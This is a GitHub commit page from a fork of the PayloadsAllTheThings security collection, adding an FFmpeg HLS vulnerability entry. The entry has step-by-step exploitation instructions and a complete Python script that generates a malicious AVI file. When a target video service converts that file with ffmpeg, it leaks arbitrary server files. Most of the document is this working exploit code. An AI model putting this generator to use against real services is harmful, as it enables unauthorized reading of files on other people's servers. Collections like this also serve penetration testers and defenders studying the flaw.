forked from swisskyrepo/PayloadsAllTheThings
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Swissky
committed
Jun 26, 2017
1 parent
d97cb89
commit 220e9cb
Showing
4 changed files
with
166 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
# FFmpeg HLS vulnerability | ||
FFmpeg is an open source software used for processing audio and video formats. You can use a malicious HLS playlist inside an AVI video to read arbitrary files. | ||
|
||
## Exploits | ||
``` | ||
1. `./gen_xbin_avi.py file://<filename> file_read.avi` | ||
2. Upload `file_read.avi` to some website that processes videofiles | ||
3. (on server side, done by the videoservice) `ffmpeg -i file_read.avi output.mp4` | ||
4. Click "Play" in the videoservice. | ||
5. If you are lucky, you'll the content of `<filename>` from the server. | ||
``` | ||
|
||
## Thanks to | ||
* [Hackerone - Local File Disclosure via ffmpeg @sxcurity](https://hackerone.com/reports/242831) | ||
* [PHDays - Attacks on video converters:a year later, Emil Lerner, Pavel Cheremushkin](https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit#slide=id.p) | ||
* [Script by @neex](https://github.com/neex/ffmpeg-avi-m3u-xbin/blob/master/gen_xbin_avi.py) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,150 @@ | ||
#!/usr/bin/env python3 | ||
import struct | ||
import argparse | ||
import random | ||
import string | ||
|
||
AVI_HEADER = b"RIFF\x00\x00\x00\x00AVI LIST\x14\x01\x00\x00hdrlavih8\x00\x00\x00@\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LISTt\x00\x00\x00strlstrh8\x00\x00\x00txts\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00}\x00\x00\x00\x86\x03\x00\x00\x10'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\xa0\x00strf(\x00\x00\x00(\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x01\x00\x18\x00XVID\x00H\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LIST movi" | ||
|
||
ECHO_TEMPLATE = """### echoing {needed!r} | ||
#EXT-X-KEY: METHOD=AES-128, URI=/dev/zero, IV=0x{iv} | ||
#EXTINF:1, | ||
#EXT-X-BYTERANGE: 16 | ||
/dev/zero | ||
#EXT-X-KEY: METHOD=NONE | ||
""" | ||
|
||
# AES.new('\x00'*16).decrypt('\x00'*16) | ||
GAMMA = b'\x14\x0f\x0f\x10\x11\xb5"=yXw\x17\xff\xd9\xec:' | ||
|
||
FULL_PLAYLIST = """#EXTM3U | ||
#EXT-X-MEDIA-SEQUENCE:0 | ||
{content} | ||
#### random string to prevent caching: {rand} | ||
#EXT-X-ENDLIST""" | ||
|
||
EXTERNAL_REFERENCE_PLAYLIST = """ | ||
#### External reference: reading {size} bytes from {filename} (offset {offset}) | ||
#EXTINF:1, | ||
#EXT-X-BYTERANGE: {size}@{offset} | ||
{filename} | ||
""" | ||
|
||
XBIN_HEADER = b'XBIN\x1A\x20\x00\x0f\x00\x10\x04\x01\x00\x00\x00\x00' | ||
|
||
|
||
def echo_block(block): | ||
assert len(block) == 16 | ||
iv = ''.join(map('{:02x}'.format, [x ^ y for (x, y) in zip(block, GAMMA)])) | ||
return ECHO_TEMPLATE.format(needed=block, iv=iv) | ||
|
||
|
||
def gen_xbin_sync(): | ||
seq = [] | ||
for i in range(60): | ||
if i % 2: | ||
seq.append(0) | ||
else: | ||
seq.append(128 + 64 - i - 1) | ||
for i in range(4, 0, -1): | ||
seq.append(128 + i - 1) | ||
seq.append(0) | ||
seq.append(0) | ||
for i in range(12, 0, -1): | ||
seq.append(128 + i - 1) | ||
seq.append(0) | ||
seq.append(0) | ||
return seq | ||
|
||
|
||
def test_xbin_sync(seq): | ||
for start_ind in range(64): | ||
path = [start_ind] | ||
cur_ind = start_ind | ||
while cur_ind < len(seq): | ||
if seq[cur_ind] == 0: | ||
cur_ind += 3 | ||
else: | ||
assert seq[cur_ind] & (64 + 128) == 128 | ||
cur_ind += (seq[cur_ind] & 63) + 3 | ||
path.append(cur_ind) | ||
assert cur_ind == len(seq), "problem for path {}".format(path) | ||
|
||
|
||
def echo_seq(s): | ||
assert len(s) % 16 == 0 | ||
res = [] | ||
for i in range(0, len(s), 16): | ||
res.append(echo_block(s[i:i + 16])) | ||
return ''.join(res) | ||
|
||
|
||
test_xbin_sync(gen_xbin_sync()) | ||
|
||
SYNC = echo_seq(gen_xbin_sync()) | ||
|
||
|
||
def make_playlist_avi(playlist, fake_packets=1000, fake_packet_len=3): | ||
content = b'GAB2\x00\x02\x00' + b'\x00' * 10 + playlist.encode('ascii') | ||
packet = b'00tx' + struct.pack('<I', len(content)) + content | ||
dcpkt = b'00dc' + struct.pack('<I', | ||
fake_packet_len) + b'\x00' * fake_packet_len | ||
return AVI_HEADER + packet + dcpkt * fake_packets | ||
|
||
|
||
def gen_xbin_packet_header(size): | ||
return bytes([0] * 9 + [1] + [0] * 4 + [128 + size - 1, 10]) | ||
|
||
|
||
def gen_xbin_packet_playlist(filename, offset, packet_size): | ||
result = [] | ||
while packet_size > 0: | ||
packet_size -= 16 | ||
assert packet_size > 0 | ||
part_size = min(packet_size, 64) | ||
packet_size -= part_size | ||
result.append(echo_block(gen_xbin_packet_header(part_size))) | ||
result.append( | ||
EXTERNAL_REFERENCE_PLAYLIST.format( | ||
size=part_size, | ||
offset=offset, | ||
filename=filename)) | ||
offset += part_size | ||
return ''.join(result), offset | ||
|
||
|
||
def gen_xbin_playlist(filename_to_read): | ||
pls = [echo_block(XBIN_HEADER)] | ||
next_delta = 5 | ||
for max_offs, filename in ( | ||
(5000, filename_to_read), (500, "file:///dev/zero")): | ||
offset = 0 | ||
while offset < max_offs: | ||
for _ in range(10): | ||
pls_part, new_offset = gen_xbin_packet_playlist( | ||
filename, offset, 0xf0 - next_delta) | ||
pls.append(pls_part) | ||
next_delta = 0 | ||
offset = new_offset | ||
pls.append(SYNC) | ||
return FULL_PLAYLIST.format(content=''.join(pls), rand=''.join( | ||
random.choice(string.ascii_lowercase) for i in range(30))) | ||
|
||
|
||
if __name__ == "__main__": | ||
parser = argparse.ArgumentParser('AVI+M3U+XBIN ffmpeg exploit generator') | ||
parser.add_argument( | ||
'filename', | ||
help='filename to be read from the server (prefix it with "file://")') | ||
parser.add_argument('output_avi', help='where to save the avi') | ||
args = parser.parse_args() | ||
assert '://' in args.filename, "ffmpeg needs explicit proto (forgot file://?)" | ||
content = gen_xbin_playlist(args.filename) | ||
avi = make_playlist_avi(content) | ||
output_name = args.output_avi | ||
|
||
with open(output_name, 'wb') as f: | ||
f.write(avi) |
Binary file not shown.
Binary file not shown.